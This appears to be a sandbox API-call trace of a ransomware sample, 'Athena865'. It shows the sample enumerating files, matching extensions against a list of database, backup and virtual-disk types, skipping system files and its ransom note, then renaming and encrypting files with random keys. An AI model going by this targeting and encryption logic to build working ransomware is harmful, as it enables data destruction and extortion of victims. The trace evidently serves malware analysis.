[0054.697] lstrlenW (lpString="ndf") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0054.697] lstrlenW (lpString="nnt") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0054.698] lstrlenW (lpString="nrmlib") returned 6 [0054.698] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0054.698] lstrlenW (lpString="ns2") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0054.698] lstrlenW (lpString="ns3") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0054.698] lstrlenW (lpString="ns4") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0054.698] lstrlenW (lpString="nsf") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0054.698] lstrlenW (lpString="nv") returned 2 [0054.698] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0054.698] lstrlenW (lpString="nv2") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0054.698] lstrlenW (lpString="nwdb") returned 4 [0054.698] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0054.698] lstrlenW (lpString="nyf") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0054.698] lstrlenW (lpString="odb") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0054.698] lstrlenW (lpString="odb") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0054.698] lstrlenW (lpString="oqy") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0054.698] lstrlenW (lpString="ora") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0054.698] lstrlenW (lpString="orx") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0054.698] lstrlenW (lpString="owc") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0054.698] lstrlenW (lpString="p96") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0054.698] lstrlenW (lpString="p97") returned 3 [0054.698] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0054.699] lstrlenW (lpString="pan") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0054.699] lstrlenW (lpString="pdb") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0054.699] lstrlenW (lpString="pdm") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0054.699] lstrlenW (lpString="pnz") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0054.699] lstrlenW (lpString="qry") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0054.699] lstrlenW (lpString="qvd") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0054.699] lstrlenW (lpString="rbf") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0054.699] lstrlenW (lpString="rctd") returned 4 [0054.699] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0054.699] lstrlenW (lpString="rod") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0054.699] lstrlenW (lpString="rodx") returned 4 [0054.699] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0054.699] lstrlenW (lpString="rpd") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0054.699] lstrlenW (lpString="rsd") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0054.699] lstrlenW (lpString="sas7bdat") returned 8 [0054.699] lstrcmpiW (lpString1="tMUI.msi", lpString2="sas7bdat") returned 1 [0054.699] lstrlenW (lpString="sbf") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0054.699] lstrlenW (lpString="scx") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0054.699] lstrlenW (lpString="sdb") returned 3 [0054.699] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0054.699] lstrlenW (lpString="sdc") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0054.700] lstrlenW (lpString="sdf") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0054.700] lstrlenW (lpString="sis") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0054.700] lstrlenW (lpString="spq") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0054.700] lstrlenW (lpString="te") returned 2 [0054.700] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0054.700] lstrlenW (lpString="teacher") returned 7 [0054.700] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0054.700] lstrlenW (lpString="tmd") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0054.700] lstrlenW (lpString="tps") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0054.700] lstrlenW (lpString="trc") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0054.700] lstrlenW (lpString="trc") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0054.700] lstrlenW (lpString="trm") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0054.700] lstrlenW (lpString="udb") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0054.700] lstrlenW (lpString="udl") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0054.700] lstrlenW (lpString="usr") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0054.700] lstrlenW (lpString="v12") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0054.700] lstrlenW (lpString="vis") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0054.700] lstrlenW (lpString="vpd") returned 3 [0054.700] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0054.700] lstrlenW (lpString="vvv") returned 3 [0054.701] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0054.701] lstrlenW (lpString="wdb") returned 3 [0054.701] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0054.701] lstrlenW (lpString="wmdb") returned 4 [0054.701] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0054.701] lstrlenW (lpString="wrk") returned 3 [0054.701] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0054.701] lstrlenW (lpString="xdb") returned 3 [0054.701] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0054.701] lstrlenW (lpString="xld") returned 3 [0054.701] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0054.701] lstrlenW (lpString="xmlff") returned 5 [0054.701] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0054.701] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.Athena865") returned 90 [0054.701] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.athena865"), dwFlags=0x1) returned 1 [0054.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.702] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2503680) returned 1 [0054.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518898 [0054.702] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0054.703] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.703] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0054.703] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x263700, lpName=0x0) returned 0x154 [0054.704] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x63700) returned 0x1f0000 [0054.727] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0054.811] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0054.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0054.829] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.829] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0054.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0054.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0054.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.830] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0054.833] CloseHandle (hObject=0x154) returned 1 [0054.833] CloseHandle (hObject=0x17c) returned 1 [0054.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518898 | out: hHeap=0x4f0000) returned 1 [0054.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.851] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="..") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="windows") returned -1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="bootmgr") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="temp") returned -1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="pagefile.sys") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="boot") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="ids.txt") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="ntuser.dat") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="perflogs") returned 1 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="MSBuild") returned 1 [0054.851] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0054.851] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PowerPointMUI.xml" | out: lpString1="PowerPointMUI.xml") returned="PowerPointMUI.xml" [0054.851] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0054.851] lstrlenW (lpString="Athena865") returned 9 [0054.851] lstrcmpiW (lpString1="ntMUI.xml", lpString2="Athena865") returned 1 [0054.851] lstrlenW (lpString=".dll") returned 4 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".dll") returned 1 [0054.851] lstrlenW (lpString=".lnk") returned 4 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".lnk") returned 1 [0054.851] lstrlenW (lpString=".ini") returned 4 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".ini") returned 1 [0054.851] lstrlenW (lpString=".sys") returned 4 [0054.851] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".sys") returned 1 [0054.851] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0054.852] lstrlenW (lpString="bak") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0054.852] lstrlenW (lpString="ba_") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0054.852] lstrlenW (lpString="dbb") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0054.852] lstrlenW (lpString="vmdk") returned 4 [0054.852] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0054.852] lstrlenW (lpString="rar") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0054.852] lstrlenW (lpString="zip") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0054.852] lstrlenW (lpString="tgz") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0054.852] lstrlenW (lpString="vbox") returned 4 [0054.852] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0054.852] lstrlenW (lpString="vdi") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0054.852] lstrlenW (lpString="vhd") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0054.852] lstrlenW (lpString="vhdx") returned 4 [0054.852] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0054.852] lstrlenW (lpString="avhd") returned 4 [0054.852] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0054.852] lstrlenW (lpString="db") returned 2 [0054.852] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0054.852] lstrlenW (lpString="db2") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0054.852] lstrlenW (lpString="db3") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0054.852] lstrlenW (lpString="dbf") returned 3 [0054.852] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0054.853] lstrlenW (lpString="mdf") returned 3 [0054.853] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0054.853] lstrlenW (lpString="mdb") returned 3 [0054.853] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0054.853] lstrlenW (lpString="sql") returned 3 [0054.853] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0054.853] lstrlenW (lpString="sqlite") returned 6 [0054.853] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0054.853] lstrlenW (lpString="sqlite3") returned 7 [0054.853] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0054.853] lstrlenW (lpString="sqlitedb") returned 8 [0054.853] lstrcmpiW (lpString1="tMUI.xml", lpString2="sqlitedb") returned 1 [0054.853] lstrlenW (lpString="xml") returned 3 [0054.853] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0054.853] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.Athena865") returned 90 [0054.853] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.athena865"), dwFlags=0x1) returned 1 [0054.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.854] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1450) returned 1 [0054.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518898 [0054.854] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0054.855] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.855] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0054.855] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x154 [0054.857] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0054.858] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0054.858] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.858] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0054.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0054.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.859] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.859] CloseHandle (hObject=0x154) returned 1 [0054.859] CloseHandle (hObject=0x17c) returned 1 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518898 | out: hHeap=0x4f0000) returned 1 [0054.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2=".") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="..") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="windows") returned -1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="bootmgr") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="temp") returned -1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="pagefile.sys") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="boot") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="ids.txt") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="ntuser.dat") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="perflogs") returned 1 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2="MSBuild") returned 1 [0054.860] lstrlenW (lpString="PptLR.cab") returned 9 [0054.860] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PptLR.cab" | out: lpString1="PptLR.cab") returned="PptLR.cab" [0054.860] lstrlenW (lpString="PptLR.cab") returned 9 [0054.860] lstrlenW (lpString="Athena865") returned 9 [0054.860] lstrlenW (lpString=".dll") returned 4 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2=".dll") returned 1 [0054.860] lstrlenW (lpString=".lnk") returned 4 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2=".lnk") returned 1 [0054.860] lstrlenW (lpString=".ini") returned 4 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2=".ini") returned 1 [0054.860] lstrlenW (lpString=".sys") returned 4 [0054.860] lstrcmpiW (lpString1="PptLR.cab", lpString2=".sys") returned 1 [0054.860] lstrlenW (lpString="PptLR.cab") returned 9 [0054.860] lstrlenW (lpString="bak") returned 3 [0054.860] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0054.860] lstrlenW (lpString="ba_") returned 3 [0054.860] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0054.860] lstrlenW (lpString="dbb") returned 3 [0054.860] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0054.860] lstrlenW (lpString="vmdk") returned 4 [0054.861] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0054.861] lstrlenW (lpString="rar") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0054.861] lstrlenW (lpString="zip") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0054.861] lstrlenW (lpString="tgz") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0054.861] lstrlenW (lpString="vbox") returned 4 [0054.861] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0054.861] lstrlenW (lpString="vdi") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0054.861] lstrlenW (lpString="vhd") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0054.861] lstrlenW (lpString="vhdx") returned 4 [0054.861] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0054.861] lstrlenW (lpString="avhd") returned 4 [0054.861] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0054.861] lstrlenW (lpString="db") returned 2 [0054.861] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0054.861] lstrlenW (lpString="db2") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0054.861] lstrlenW (lpString="db3") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0054.861] lstrlenW (lpString="dbf") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0054.861] lstrlenW (lpString="mdf") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0054.861] lstrlenW (lpString="mdb") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0054.861] lstrlenW (lpString="sql") returned 3 [0054.861] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0054.861] lstrlenW (lpString="sqlite") returned 6 [0054.861] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0054.861] lstrlenW (lpString="sqlite3") returned 7 [0054.861] lstrcmpiW (lpString1="tLR.cab", lpString2="sqlite3") returned 1 [0054.861] lstrlenW (lpString="sqlitedb") returned 8 [0054.862] lstrcmpiW (lpString1="ptLR.cab", lpString2="sqlitedb") returned -1 [0054.862] lstrlenW (lpString="xml") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0054.862] lstrlenW (lpString="$er") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0054.862] lstrlenW (lpString="4dd") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0054.862] lstrlenW (lpString="4dl") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0054.862] lstrlenW (lpString="^^^") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0054.862] lstrlenW (lpString="abs") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0054.862] lstrlenW (lpString="abx") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0054.862] lstrlenW (lpString="accdb") returned 5 [0054.862] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0054.862] lstrlenW (lpString="accdc") returned 5 [0054.862] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0054.862] lstrlenW (lpString="accde") returned 5 [0054.862] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0054.862] lstrlenW (lpString="accdr") returned 5 [0054.862] 